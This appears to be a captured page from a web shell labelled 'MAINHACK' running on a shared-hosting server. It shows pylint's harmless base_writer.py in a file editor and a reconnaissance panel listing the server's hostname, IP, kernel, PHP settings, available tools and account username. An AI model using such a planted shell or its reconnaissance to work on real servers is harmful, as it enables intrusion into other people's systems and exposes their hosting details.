[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: base_writer.py
File is not writable. Editing disabled.
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt """Universal report objects and some formatting drivers. A way to create simple reports using python objects, primarily designed to be formatted as text and html. """ from __future__ import annotations import sys from collections.abc import Iterator from io import StringIO from typing import TYPE_CHECKING, TextIO if TYPE_CHECKING: from pylint.reporters.ureports.nodes import ( BaseLayout, EvaluationSection, Paragraph, Section, Table, ) class BaseWriter: """Base class for ureport writers.""" def format( self, layout: BaseLayout, stream: TextIO = sys.stdout, encoding: str | None = None, ) -> None: """Format and write the given layout into the stream object. unicode policy: unicode strings may be found in the layout; try to call 'stream.write' with it, but give it back encoded using the given encoding if it fails """ if not encoding: encoding = getattr(stream, "encoding", "UTF-8") self.encoding = encoding or "UTF-8" self.out = stream self.begin_format() layout.accept(self) self.end_format() def format_children(self, layout: EvaluationSection | Paragraph | Section) -> None: """Recurse on the layout children and call their accept method (see the Visitor pattern). """ for child in getattr(layout, "children", ()): child.accept(self) def writeln(self, string: str = "") -> None: """Write a line in the output buffer.""" self.write(string + "\n") def write(self, string: str) -> None: """Write a string in the output buffer.""" self.out.write(string) def begin_format(self) -> None: """Begin to format a layout.""" self.section = 0 def end_format(self) -> None: """Finished formatting a layout.""" def get_table_content(self, table: Table) -> list[list[str]]: """Trick to get table content without actually writing it. return an aligned list of lists containing table cells values as string """ result: list[list[str]] = [[]] cols = table.cols for cell in self.compute_content(table): if cols == 0: result.append([]) cols = table.cols cols -= 1 result[-1].append(cell) # fill missing cells result[-1] += [""] * (cols - len(result[-1])) return result def compute_content(self, layout: BaseLayout) -> Iterator[str]: """Trick to compute the formatting of children layout before actually writing it. return an iterator on strings (one for each child element) """ # Patch the underlying output stream with a fresh-generated stream, # which is used to store a temporary representation of a child # node. out = self.out try: for child in layout.children: stream = StringIO() self.out = stream child.accept(self) yield stream.getvalue() finally: self.out = out
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A